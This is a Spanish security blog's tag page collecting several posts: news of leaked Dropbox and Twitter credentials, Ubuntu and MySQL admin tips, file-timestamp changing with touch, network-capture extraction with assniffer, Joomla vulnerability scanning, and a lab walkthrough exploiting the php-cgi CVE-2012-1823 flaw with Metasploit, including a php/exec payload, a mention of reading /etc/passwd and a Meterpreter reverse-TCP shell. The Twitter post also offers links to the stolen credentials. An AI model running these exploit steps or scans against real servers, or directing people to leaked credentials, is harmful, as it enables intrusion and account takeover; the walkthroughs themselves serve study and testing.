Mostrando entradas con la etiqueta hack. Mostrar todas las entradas
Mostrando entradas con la etiqueta hack. Mostrar todas las entradas

Cursos de Hacking del MIT

Leer más

Filtradas contraseñas de Dropbox

Dropbox, popular servicio de alojamiento de ficheros en la nube ha anunciado en su blog oficial que en el día de ayer se ha producido una importante filtración de contraseñas. Concretamente se está hablando de más de 7 millones de cuentas en riesgo. Actualmente Dropbox ha optado por bloquear aquellas cuentas donde detecten algún tipo de actividad extraña.
Here is another batch of Hacked Dropbox accounts from the massive hack of 7,000,000 accounts
To see plenty more, just search on [redacted] for the term Dropbox hack.

More to come, keep showing your support
Según lo que dicen, la filtración no se produjo por un fallo en sus servidores, sino en equipos de terceros.
Se recomienda el cambio inmediato de contraseñas así como la posibilidad de habilitar la verificación en dos pasos del servicio.

Más información:



Actualización:

Se están publicando en pastebin diferentes entradas con las credenciales robadas, por lo que es más importante el cambio de contraseña.
Leer más

Extraño fallo al actualizar Ubuntu


Aunque eEste es un curioso fallo que me pasó cuando estaba actualizando una estación de trabajo con Ubuntu 12.04. Aunque el fallo no tenía gran sentido, lo comento a continuación por si a alguien más le sucede que pueda ver cómo yo lo solucioné.

shell> apt-get dist-upgrade
Leyendo lista de paquetes... Hecho
...
Preconfigurando paquetes ...
(Leyendo la base de datos ... 266542 ficheros o directorios instalados actualmente.)
Desempaquetando linux-headers-3.5.0-13 (de .../linux-headers-3.5.0-13_3.5.0-13.13_all.deb) ...
dpkg-deb (subproceso): datos: error interno de lectura de gzip `: data error'
dpkg-deb: error: el subproceso  devolvió el código de salida de error 2
dpkg: error al procesar /var/cache/apt/archives/linux-headers-3.5.0-13_3.5.0-13.13_all.deb (--unpack): el subproceso dpkg-deb --fsys-tarfile devolvió el código de salida de error 2
No se escribió ningún informe «apport» porque ya se ha alcanzado el valor de «MaxReports»
                                                                           ...
Se encontraron errores al procesar:
 /var/cache/apt/archives/linux-headers-3.5.0-13_3.5.0-13.13_all.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
Al realizar un upgrade del sistema, éste intenta instalar el paquete linux-headers-3.5.0-13_3.5.0-13.13_all.deb, pero terminada dando un fallo que impide su instalación, dejando el sistema de paquetes "tocado".
Lo primero que se me ocurre es forzar la instalación de los paquetes, para ver si ésto soluciona el problema.
shell> apt-get install -f
...
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios.
  linux-headers-3.2.0-23 linux-headers-3.2.0-24 linux-headers-3.2.0-24-generic linux-headers-3.2.0-23-generic-pae linux-headers-3.2.0-24-generic-pae
  linux-headers-3.2.0-23-generic
Utilice «apt-get autoremove» para eliminarlos.
Se instalarán los siguientes paquetes extras:
  linux-headers-3.5.0-13
Se instalarán los siguientes paquetes NUEVOS:
  linux-headers-3.5.0-13
0 actualizados, 1 se instalarán, 0 para eliminar y 1 no actualizados.
20 no instalados del todo o eliminados.
Se necesita descargar 0 B/12,2 MB de archivos.
Se utilizarán 58,7 MB de espacio de disco adicional después de esta operación.
¿Desea continuar [S/n]? 
(Leyendo la base de datos ... 266542 ficheros o directorios instalados actualmente.)
Desempaquetando linux-headers-3.5.0-13 (de .../linux-headers-3.5.0-13_3.5.0-13.13_all.deb) ...
dpkg-deb (subproceso): datos: error interno de lectura de gzip `: data error'
dpkg-deb: error: el subproceso  devolvió el código de salida de error 2
dpkg: error al procesar /var/cache/apt/archives/linux-headers-3.5.0-13_3.5.0-13.13_all.deb (--unpack):
 el subproceso dpkg-deb --fsys-tarfile devolvió el código de salida de error 2
Se encontraron errores al procesar:
 /var/cache/apt/archives/linux-headers-3.5.0-13_3.5.0-13.13_all.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
Aunque obtenemos el mismo fallo al intentar instalar el paquete. Así que vamos a optar por desinstalarlo  ya que además son las cabeceras de una versión del kernel que no estaba siendo usada.
shell> apt-get remove --purge linux-headers-3.5.0-13
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
El paquete linux-headers-3.5.0-13 no está instalado, no se eliminará
Tal vez quiera ejecutar «apt-get -f install» para corregirlo:
Los siguientes paquetes tienen dependencias incumplidas:
 linux-headers-3.5.0-13-generic : Depende: linux-headers-3.5.0-13 pero no va a instalarse
E: Dependencias incumplidas. Intente «apt-get -f install» sin paquetes (o especifique una solución).
Nuevamente no nos lo permite hacer y nos indica que la forma solucionarla es una que ya probamos con anterioridad y no funcionó.
La solución encontrada viene de la mano de dpkg y es la siguiente.
shell> dpkg --remove --force-remove-reinstreq linux-headers-3.5.0-13-generic
(Leyendo la base de datos ... 266541 ficheros o directorios instalados actualmente.)
Desinstalando linux-headers-3.5.0-13-generic ...
shell> apt-get clean
Tras ello, volvemos a intentar instalar todos los paquetes que tengamos pendientes y parece que ya todo está correcto.
shell> apt-get install -f
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
Corrigiendo dependencias... Listo
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios.
  linux-headers-3.2.0-23 linux-headers-3.2.0-24 linux-headers-3.2.0-24-generic linux-headers-3.2.0-23-generic-pae linux-headers-3.2.0-24-generic-pae
  linux-headers-3.2.0-23-generic
Utilice «apt-get autoremove» para eliminarlos.
Se instalarán los siguientes paquetes extras:
  linux-headers-3.5.0-13 linux-headers-3.5.0-13-generic
Se instalarán los siguientes paquetes NUEVOS:
  linux-headers-3.5.0-13 linux-headers-3.5.0-13-generic
0 actualizados, 2 se instalarán, 0 para eliminar y 0 no actualizados.
20 no instalados del todo o eliminados.
Necesito descargar 13,2 MB de archivos.
Se utilizarán 69,9 MB de espacio de disco adicional después de esta operación.
¿Desea continuar [S/n]? 
Des:1 http://ppa.launchpad.net/xorg-edgers/ppa/ubuntu/ precise/main linux-headers-3.5.0-13 all 3.5.0-13.13 [12,2 MB]
Des:2 http://ppa.launchpad.net/xorg-edgers/ppa/ubuntu/ precise/main linux-headers-3.5.0-13-generic i386 3.5.0-13.13 [1.010 kB]
Descargados 13,2 MB en 3seg. (3.743 kB/s)             
(Leyendo la base de datos ... 257690 ficheros o directorios instalados actualmente.)
Desempaquetando linux-headers-3.5.0-13 (de .../linux-headers-3.5.0-13_3.5.0-13.13_all.deb) ...
Seleccionando paquete linux-headers-3.5.0-13-generic previamente no seleccionado
Desempaquetando linux-headers-3.5.0-13-generic (de .../linux-headers-3.5.0-13-generic_3.5.0-13.13_i386.deb) ...
Configurando libllvm3.1 (3.1-1~precise1) ...
Configurando libgl1-mesa-dri (9.0~git20120901+9.0.6886da78-0ubuntu0ricotz2~precise) ...
Configurando libxatracker1 (9.0~git20120901+9.0.6886da78-0ubuntu0ricotz2~precise) ...
Configurando linux-image-3.5.0-13-generic (3.5.0-13.13) ...
Running depmod.
update-initramfs: deferring update (hook will be called later)
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
update-initramfs: Generating /boot/initrd.img-3.5.0-13-generic
run-parts: executing /etc/kernel/postinst.d/pm-utils 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
run-parts: executing /etc/kernel/postinst.d/update-notifier 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.5.0-13-generic
Found initrd image: /boot/initrd.img-3.5.0-13-generic
Found linux image: /boot/vmlinuz-3.2.0-24-generic
Found initrd image: /boot/initrd.img-3.2.0-24-generic
Found linux image: /boot/vmlinuz-3.2.0-23-generic
Found initrd image: /boot/initrd.img-3.2.0-23-generic
Found memtest86+ image: /boot/memtest86+.bin
done
Configurando libhpmud0 (3.12.2-1ubuntu3.1) ...
Configurando libsane-hpaio (3.12.2-1ubuntu3.1) ...
Configurando hplip-data (3.12.2-1ubuntu3.1) ...
Configurando printer-driver-hpcups (3.12.2-1ubuntu3.1) ...
Configurando hplip (3.12.2-1ubuntu3.1) ...
Creating/updating hplip user account...
Configurando printer-driver-postscript-hp (3.12.2-1ubuntu3.1) ...
Configurando libcrystalhd3 (1:0.0~git20110715.fdd2f19-4.1) ...
Configurando linux-headers-3.5.0-13 (3.5.0-13.13) ...
Configurando linux-headers-3.5.0-13-generic (3.5.0-13.13) ...
Configurando linux-headers-generic (3.5.0.13.13) ...
Configurando linux-image-extra-3.5.0-13-generic (3.5.0-13.13) ...
Running depmod.
update-initramfs: deferring update (hook will be called later)
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
update-initramfs: Generating /boot/initrd.img-3.5.0-13-generic
run-parts: executing /etc/kernel/postinst.d/pm-utils 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
run-parts: executing /etc/kernel/postinst.d/update-notifier 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 3.5.0-13-generic /boot/vmlinuz-3.5.0-13-generic
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.5.0-13-generic
Found initrd image: /boot/initrd.img-3.5.0-13-generic
Found linux image: /boot/vmlinuz-3.2.0-24-generic
Found initrd image: /boot/initrd.img-3.2.0-24-generic
Found linux image: /boot/vmlinuz-3.2.0-23-generic
Found initrd image: /boot/initrd.img-3.2.0-23-generic
Found memtest86+ image: /boot/memtest86+.bin
done
Configurando linux-image-generic (3.5.0.13.13) ...
Configurando postfix (2.9.3-2~12.04.3) ...

Postfix configuration was not changed.  If you need to make changes, edit
/etc/postfix/main.cf (and others) as needed.  To view Postfix configuration
values, see postconf(1).

After modifying main.cf, be sure to run '/etc/init.d/postfix reload'.

Running newaliases
 * Stopping Postfix Mail Transport Agent postfix          [ OK ] 
 * Starting Postfix Mail Transport Agent postfix          [ OK ] 
Configurando printer-driver-hpijs (3.12.2-1ubuntu3.1) ...
Configurando vlc-nox (2.0.3-0ubuntu0.12.04.1) ...
Configurando vlc-plugin-notify (2.0.3-0ubuntu0.12.04.1) ...
Configurando vlc (2.0.3-0ubuntu0.12.04.1) ...
Configurando vlc-plugin-pulse (2.0.3-0ubuntu0.12.04.1) ...
Procesando disparadores para libc-bin ...
ldconfig deferred processing now taking place
Leer más

Cambio fecha de ficheros

Prácticamente todos los sistemas de ficheros modernos almacenan por seguridad la fecha de creación o de última modificación de los ficheros y se suele pensar que alterar ésta es complicado. La fecha de modificación, obviamente no, se abre el fichero y al volver a guardarlo ya queda modificada, pero la fecha de creación ya no es tan simple.
En este post, y sirviéndonos del comando touch veremos que alterar una fecha no es nada complicado, sino más bien todo lo contrario.
shell> ls -l
total 560
-rw-r--r-- 1 javier javier 553136 Mar 14 13:14 debian-6.0.4-i386-CD-1.iso
-rw-r--r-- 1 javier javier   6943 Mar 14 13:14 listado.csv
-rw-r--r-- 1 javier javier    317 Mar 14 13:14 web.txt
Empleamos el comando touch para modificar la fecha.
shell> touch -t 1203021150 listado.csv
El comando ejecutado es muy sencilla, simplemente le pasamos la opción "-t fecha" con la fecha que nos interesaba de creación de fichero. El formato de la fecha es año (12), mes (03), día (02), hora (11) y minutos (50). Ahora volvemos a comprobar la fecha de los ficheros y vemos que listado.csv ha cambiado correctamente.
shell> ls -l
total 560
-rw-r--r-- 1 javier javier 553136 Mar 14 13:14 debian-6.0.4-i386-CD-1.iso
-rw-r--r-- 1 javier javier   6943 Mar  2 11:50 listado.csv
-rw-r--r-- 1 javier javier    317 Mar 14 13:14 web.txt
Leer más

Ref. SQL Injection

Roberto Salgado [@LightOS] publicó en websec.ca una completa guía de SQL Injection. Hace referencia a prácticamente todos los motores de bases de datos comúnmente empleados (MySQL, MSSQL y Oracle) y explica desde las inyecciones SQL más comunes hasta la explotación avanzada de los motores de bases de datos.
Es una guía que se está actualizando diariamente, por lo que es aconsejable consultarla habitualmente.
Os dejo los enlaces a la parte referente a MySQL:
Nota: También está disponible la guía en GoogleDocs.
Leer más

assniffer, extracción simple de contenidos

Navegando por la red me encontré con un proyecto Open Source muy interesante y a la vez divertido. Es assniffer, un pequeño sniffer, como su nombre indica que es capaz de extraer los datos de tipo MIME que están presentes un una captura de red. Hablando claro, si tenemos nuestro fichero .pcap, por ejemplo obtenido con tcpdump, pues es capaz de extraer todos los datos MIME que hay en él de forma automática.
Para comenzar a trabajar con él, primero tenemos que tener una captura de datos, así que vamos a capturar datos primero
shell> tcpdump -i eth0 -w /tmp/captura.pcap
Tras recoger todos los datos que nos interese, ahora hay que emplear assniffer, así que vamos a ver cómo hacerlo.
  1. Descargamos el software
    La versión que está actualmente disponible es la 0.2, así que lo descargamos,
    shell> wget http://www.cockos.com/assniffer/assniffer02.zip
    
  2. Lo arrancamos
  3. Lo que acabamos de descargar es un fichero zip, así que lo descomprimimos y ya está listo para poder ejecutarse. Aquí diferenciamos 2 plataformas, windows y linux.
    1. Si usas Windows
      Al descomprimirlo ya existe un .exe perfectamente compilado para ejecutar y que funcione, así que simplemente,
      cmd> assniffer.exe c:\capturas -r c:\captura.pcap
      
    2. Si usas GNU/Linux
      Aquí la cosa se complica un poco más, ya que antes de poder usarlo hay que compilarlo, aunque eso no es problema. Como software necesario para la compilación simplemente g++. Procedemos tal que así.
      shell> cd source/assniffer
      shell> make
      
      Y una vez compilado, simplemente hay que ejecutarlo,
      shell> ./assniffer /tmp/capturas/ -r /tmp/captura.pcap
      
  4. Comprobamos los datos obtenidos
    Tras finalizar la ejecución, los datos que se han obtenido son todos los de tipo MIME que había en el fichero .pcap, es decir, ficheros de texto, pdf, imágenes, etc. pero ahora están ya en un formato mucho más simple de comprender. Si echamos un vistazo a lo que hay, veremos que hay una carpeta para cada uno de los dominios y dentro de esas carpetas, los ficheros que corresponden al dominio.
    shell> ls
    _ad.doubleclick.net           _lavozdegalicia.es
    _ad-emea.doubleclick.net      _media.lavozdegalicia.es
    _ad.es.doubleclick.net        _pagead2.googlesyndication.com
    _a.prisacom.com               _partnerfeed.itsfogo.com
    _as.com                       _pg.solution.weborama.fr
    _atemda.com                   _ping.chartbeat.net
    _blstj.msn.com                _profile.ak.fbcdn.net
    _b.scorecardresearch.com      _promo.planeo.com
    _bs.serving-sys.com           _p.twitter.com
    _cdn.adnxs.com                _publicidadinternet.lavozdegalicia.es
    _cdn.api.twitter.com          _pxlctl.elpais.com
    _c.es.msn.com                 _realtime.services.disqus.com
    _compras.lavozdegalicia.es    _r.twimg.com
    _ds.serving-sys.com           _s0.2mdn.net
    _elstatic.weborama.fr         _s1.as.com
    _estj.msn.com                 _s2.as.com
    _googleads.g.doubleclick.net  _s4.as.com
    _google-analytics.com         _s5.as.com
    _google.com                   _s.atemda.com
    _google.es                    _secure-uk.imrworldwide.com
    _ib.adnxs.com                 _shopall.es
    _imagenen1.247realmedia.com   _s.promo.planeo.com
    _imgs.codigobarras.net        _udc.msn.com
    shell> cd _media.lavozdegalicia.es/
    shell> ls
    default
    _pintochinto_files_2012_07_dependiente-280x110.jpg
    _default_2012_07_16_00121342428998068232193_Foto_.jpg&w=135px.jpg
    _default_2012_07_16_00121342439900198640689_Foto_E_120715-200305.jpg
    _default_2012_07_16_00121342457907304198516_Foto_.jpg
    _default_2012_07_16_00121342463479823536679_Foto_V17C5F2.jpg
    _default_2012_07_16_00121342466088637446783_Foto_.jpg
    _default_2012_07_16_00121342466144477922177_Foto_.jpg
    _default_2012_07_16_00121342466145337228769_Foto_.jpg
    _default_2012_07_16_00121342467357079958323_Foto_.jpg
    _default_2012_07_16_00121342467889792660983_Foto_O15L1187.jpg
    _default_2012_07_16_00121342467965572411773_Foto_.jpg
    _default_2012_07_16_00121342468019267960366_Foto_.jpg
    _default_2012_07_16_00121342468839278112970_Foto_.jpg
    ...
    
  5. Opciones especiales
    La forma descrita hasta ahora es la más simple de trabajar, pero assniffer también permite trabajar directamente con tarjetas de red en modo promiscuo, es decir, capturando en tiempo real los paquetes (opción -d device) y también permite únicamente extraer los fichero de un tipo específico, texto, vídeo, imágenes, etc. (opción -mimetype MIMETYPE)
Nota: En caso de equipos que ejecuten Debian/Ubuntu la compilación puede que os de el siguiente fallo,
shell> make
g++ -O2 -s   -c -o sniff.o sniff.cpp
sniff.cpp: In function 'int main(int, char**)':
g++ -O2 -s   -c -o tcp.o tcp.cpp
g++ -O2 -s   -c -o http.o http.cpp
http.cpp:41: warning: deprecated conversion from string constant to 'char*'
http.cpp: In member function 'void HTTP_context::doWrite(void*, int, unsigned int)':
http.cpp:460: error: 'MAX_PATH' was not declared in this scope
http.cpp:461: error: 'fn' was not declared in this scope
http.cpp:562: error: 'isprint' was not declared in this scope
make: *** [http.o] Error 1
La solución es aplicar el siguiente parche al fichero http.cpp,
--- source/assniffer/http.cpp               2006-10-29 00:38:26.000000000
+++ debian/source/assniffer/http.cpp        2008-08-26 10:19:02.000000000
@@ -22,7 +22,7 @@
 #include 
 #include 
 #include "platform.h"
-
+#include 
 #include "pcap.h"
 #include "http.h"

@@ -32,6 +32,8 @@
     #include 
 #endif

+#define MAX_PATH 256
+
 // configurable items of http.cpp
 int g_config_usemime=2; // 1=append, 2=replace extension
 int g_config_debugfn=0;
Tras aplicarlo, compilar nuevamente y ya todo debería estar correcto.
Leer más

55000 cuentas de twitter comprometidas

Primera noticia de la mañana y no es alentadora. 55k cuentas de Twitter fueron hackeadas y los responsables han dejado las credenciales en Pastebin. No se sabe exactamente cómo lo han conseguido, pero todo apunta a un fallo de seguridad en Twitter, ya que éste sí fue consciente de dicho robo y está intentando minimizar el impacto que pueda tener. A la gran mayoría de los afectados ya les han mandando un mail para que cambien su contraseña. Las credenciales robadas apuntan a usuario/mail + contraseña, es decir, todo lo necesario para entrar. Si además sumamos que, la lógica hace que usemos la misma contraseña para todo, casi diría que también hay 55000 cuentas de correo medio comprometidas, pero eso ya es otra historia.
Para aquellos que quieran saber si su cuenta está entre la lista de víctimas, os dejo aquí los enlaces de Pastebin donde están los datos.
La fuente original de la noticia, Airdemon, pero corrió como la pólvora.
Leer más

Metasploit CVE-2012-1823, php-cgi

El viernes pasado se montó un rebumbio muy grande por todo internet cuando un fallo en php, concretamente en el módulo CGI permitía ver el código fuente de una página y permitir ejecución de código remoto. En este blog, como en muchos otros se notificó de ello. Hoy, ya con un fin de semana de por medio para poder probar el módulo que la gente de metasploit sacó para explotar dicha vulnerabilidad, os persento los resultados. Realmente son bastante sorprendentes y quedan muy visto lo sencillo que es.
Primero creamos un entorno de pruebas con un apache + php_cgi vulnerable. En debian, empleando los parches de seguridad ya está parcheado, así que montamos una máquina sin parches de seguridad. Como la prueba es muy simple, únicamente necesitamos un pequeño código php. Qué mejor que un phpinfo ;-)
Tras tener la máquina montada, accedemos a un php de prueba, http://192.168.1.45/info.php.
Nos muestra la típica página de información. Ahora comprobamos qué sucede al acceder a http://192.168.1.45/info.php?-s. El resultado, el código fuente del php.
<?php
phpinfo();
?>
Es hora de intentar explotar la vulnerabilidad en condiciones. Así que, comencemos.
shell> msfconsole
Primero buscamos un exploit que permita aprovechar dicha vulnerabilidad. Por defecto mi sistema se actualiza en cada arranque, así que ya lo tengo. En caso de que no lo tengáis, simplemente actualizar vuestros exploit's disponibles.
msf> search php_cgi
Matching Modules
================
Name                                       Disclosure Date   Rank       
----                                       ---------------   ----       
exploit/multi/http/php_cgi_arg_injection   2012-05-03        excellent
Pues vamos allá. Cargamos el exploit y le indicamos los datos de la víctima.
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection)> set RHOST 192.168.1.45
msf exploit(php_cgi_arg_injection)> set TARGETURI /info.php
Ahora tenemos que buscar un payload que cargar tras la explotación. Puesto que sólo es una prueba, vamos a realizar algo muy simple. Primero... vamos a ver qué payloads nos interesa.
msf exploit(php_cgi_arg_injection)> show payloads

Compatible Payloads
===================

Name                         Rank   Description
----                         ----   -----------
php/exec                     normal PHP Execute Command 
php/meterpreter/reverse_tcp  normal PHP Meterpreter, PHP Reverse TCP stager
Los dos que destacamos son los que vamos a emplear. El primer, muy simple, permite ejecutar un comando desde php y el segundo, pues el propio nombre lo indica ;-)
Cargamos por lo tanto el payload y lo configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection)> set CMD echo 'hack\>/var/www/hack.html
Lanzamos el exploit y comprobamos qué sucede al acceder al http://192.168.1.45/hack.html. Efectivamente, el contenido del archivo es el esperado. Imaginémonos ahora que ejecutamos un cat /etc/passwd, por ejemplo.
msf exploit(php_cgi_arg_injection)> exploit 
Probemos ahora a emplear el otro payload, que nos puede dar más juego, ya que abrirá una conexión meterpreter con la máquina remota. Lo cargamos y configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection)> set LHOST 192.168.1.33
Ahora lo lazamos contra la misma web vulnerable y esto es lo que obtenemos.
msf exploit(php_cgi_arg_injection)> exploit

[*] Started reverse handler on 192.168.1.33:4444
[*] Sending stage (38791 bytes) to 192.168.1.33
[*] Meterpreter session 2 opened (192.168.1.33:4444 -> 192.168.1.45:4732)..

meterpreter> getuid
Server username: www-data (33)
El meterpreter de php es limitado, pero sí permite hacer alguna que otra cosa interesante, como subida de ficheros o cambios de puertos y por defecto, tenemos los permisos del usuario www-data/apache o aquel usuario que ejecute el php-cgi.
Leer más

Ejercicios de explotación de sistemas

Hoy navegando por internet me encuentro con esta interesante iniciativa que permite aprender, mediante pruebas de niveles, a proteger el sistema. Dicha iniciativa es exploit-exercises.com, que provee las máquinas virtuales, documentación asociada a los fallos y los diferentes retos de hacking a llevar a cabo. Todo ello perfectamente diferenciado por niveles, desde el más sencillo (Nebula), al más complicado (Fusion). Hay retos de todo tipo, desde escalada de privilegiso, desarrollo de exploits a análisis de vulnerabilidades. Ya sabéis, si sabes cómo atacar, es más fácil defenderse ;-)
Los 3 diferentes niveles para hacer pruebas son:
  • Nebula
    Contiene los retos de nivel básico-medio. Es el nivel perfecto para iniciarse en este mundillo y tiene todo tipo de fallos elementales, desde escalada de privilegios a desarrollos cortos de scripting.
  • Protostar
    Es el considerado nivel medio. Ya hay retos más amplios que tratan corrupción de memoria, desbordamientos de buffer, etc. 24 niveles a superar!
  • Fusion
    Son 29 niveles y creciendo. Presenta vulnerabilidades similares a las anteriormente tratadas, pero más avanzadas y difíciles de superar, ya que incluyen protecciones de sistemas modernos.
Todos los retos tiene un pequeño foro de discusión en el que preguntar a la comunidad y también existe google que siempre ayudará en casos de duda.
La página de descarga de descarga de las imágenes para uno no comercial, aquí.
Leer más

Averiguando fallos en Joomla!

Recientemente descubrí un programa escrito en perl, llamado joomlascan, y que sirve precisamente para lo que os estáis imaginando, escanear páginas web que usen este famoso CMS en busca de vulnerabilidades que faciliten su posterior explotación.
El modo de realizar el escaneo no es demasiado complejo, intenta buscar la versión del núcleo y una vez la tenga, mira el listado de vulnerabilidades conocidas que hay. Luego también presenta la opción de detección de componentes de terceros y de posibles vulnerabilidades que afecten a estos.
Como ya mencioné, es un script en perl, que se puede descargar desde aquí.
shell> joomlascan.pl

    o               |                          
    .,---.,---.,-.-.|    ,---.   ,---.,---.,---.,---.
    ||   ||   || | ||    ,---|---`---.|    ,---||   |
    |`---'`---'` ' '`---'`---^   `---'`---'`---^`   '
`---'

Usage:  joomlascan.pl -u  [options]

  == Options ==
     -p            = proxy:port
     -a            = Admin folder (default '/administration')
     -v            = Check version
     -c            = Check components
     -f            = Check firewall
     -co           = Check bugs in core (require -v)
     -cm           = Check bugs in components (require -c)
     -all          = Check all (default)
     -ot           = Output to text file
     -oh           = Output to html file
     -update       = Search for updates
     -force-update = Force to download updates
     -about        = About joomlascan
     -version      = Print version info
     -h, -help     = This help

  == Examples ==
     To scan running joomla version and components:
       $ joomlascan.pl -u www.host.com -v -c

     To scan version and core bugs:
       $ joomlascan.pl -u www.host.com -v -co
Y a continuación un ejemplo del script en funcionamiento.
shell> joomlascan.pl -u www.host.com -v -c
                                                     
    o               |                                
    .,---.,---.,-.-.|    ,---.   ,---.,---.,---.,---.
    ||   ||   || | ||    ,---|---`---.|    ,---||   |
    |`---'`---'` ' '`---'`---^   `---'`---'`---^`   '
`---'                                                

Running on Apache/2.2.14 (Ubuntu)

Components:
   com_content

Joomla! version [1.5.15.Stable]
Así hemos descubierto la versión de Joomla que se está ejecutando en una web conocida ;-). Si ahora nos interesa ver los fallos de seguridad que hay en el core, lo ejecutamos con la opción -co.
shell> joomlascan.pl -u www.host.com -v -co
                                                     
    o               |                                
    .,---.,---.,-.-.|    ,---.   ,---.,---.,---.,---.
    ||   ||   || | ||    ,---|---`---.|    ,---||   |
    |`---'`---'` ' '`---'`---^   `---'`---'`---^`   '
`---'                                                

Running on Apache/2.2.14 (Ubuntu)

Joomla! version [1.5.15.Stable]

Possible vulnerabilities in core:
================================
Possible vulnerability: Administration Pages Multiple HTML Injection Vulnerabilities
Versions affected: Joomla! [1.5.0-1.5.19]
Detail: Joomla! is prone to multiple HTML-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data.Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
More info: http://www.securityfocus.com/bid/41822

Possible vulnerability: HTML Injection and SQL Injection Vulnerabilities
Versions affected: Joomla! [1.5.0-1.5.18]
Detail: Joomla! is prone to multiple HTML-injection vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.A successful exploit can allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
More info: http://www.securityfocus.com/bid/41743

Possible vulnerability: Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities
Versions affected: Joomla! [1.5.0-1.5.17]
Detail: Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
More info: http://www.securityfocus.com/bid/40444

Possible vulnerability: Session Fixation Vulnerability
Versions affected: Joomla! [1.5.0-1.5.15]
Detail: Joomla! is prone to a session-fixation vulnerability.Attackers can exploit this issue to hijack a user's session and gain unauthorized access to the affected application.
More info: http://www.securityfocus.com/bid/39708

Possible vulnerability: Persistant XSS Vulnerability
Versions affected: Joomla! 1.5.15
Detail: Persistant XSS Vulnerability
More info: http://inj3ct0r.com/exploits/11088
Y si queremos observar los posibles bug's que hay en los módulos que tenga instalados, simplemente la opción -cm, aunque para estos componentes no se contempla la versión del mismo instalada, sino únicamente el módulo, por lo que podemos encontrarnos con algún falso positivo.
shell> joomlascan.pl -u www.host.com -c -cm

    o               |                                
    .,---.,---.,-.-.|    ,---.   ,---.,---.,---.,---.
    ||   ||   || | ||    ,---|---`---.|    ,---||   |
    |`---'`---'` ' '`---'`---^   `---'`---'`---^`   '
`---'                                                
 
Searching for components 
 
Running on Apache/2.2.14 (Ubuntu)

Components:
 com_content

Possible vulnerabilities in components:
======================================
Possible vulnerability: TinyBrowser Joomla! Component 'folders.php' Local File Include Vulnerability
Versions affected: Lunarvis TinyBrowser 1.41.6
Detail: The TinyBrowser component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
More info: http://www.securityfocus.com/bid/335843

Possible vulnerability: XStandard Component Directory Traversal Vulnerability
Versions affected: Joomla XStandard
Detail: The XStandard component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
More info: http://www.securityfocus.com/bid/33143

Possible vulnerability: Component com_content File Upload Vulnerability
Versions affected: com_content
Detail: Joomla Component com_content File Upload Vulnerability
More info: http://inj3ct0r.com/exploits/14165
Lo que luego se puede hacer con cada una de las posibles vulnerabilidades ya es cosa de cada atacante, pero como aplicación de auditoría interna esta herramienta puede resultar muy útil. Como siempre, la forma de estar protegido, tener el sistema lo más actualizado posible.

Más información: blog.pepelux.org.
Leer más

Llenado del 'buffer pool' en InnoDB, MySQL

En un post anterior se habló ya de las ventajas de tener pre-cacheados los datos de determinadas consultas en servidores MySQL que no se estén usando (SLAVE's), para que en el momento que entren en funcionamiento, tengan un buen rendimiento.
La posibilidad de hacer esto, estaba disponible en percona desde hace varias versiones y en la última versión de MySQL, la 5.6 también la incorporaron para facilitar el escalado de servidores MySQL.
El funcionamiento de éste, sin embargo es diferente y para usarlo, se podría hacer tal como sigue.
  • Crear un dump del buffer_pool
    mysql> SET innodb_buffer_pool_dump_now=ON;
    
  • Crear un dump del buffer_pool cuando se cierre el servidor
    mysql> SET innodb_buffer_pool_dump_at_shutdown=ON;
    
  • Subir a memoria un dump
    mysql> SET innodb_buffer_pool_load_now=ON;
    
  • Ver el progreso de construcción de un dump
    mysql> SHOW STATUS LIKE 'innodb_buffer_pool_dump_status';
    
  • O de restauración
    mysql> SHOW STATUS LIKE 'innodb_buffer_pool_load_status';
    
  • O cancelarlo
    mysql> SET innodb_buffer_pool_load_abort=ON;
    
Si queremos habilitarlo, al igual que en percona, se puede añadir la siguiente línea al fichero de configuración (/etc/my.cfg).
innodb_buffer_pool_load_at_startup=ON
Leer más

Número máximo de conexiones a MySQL

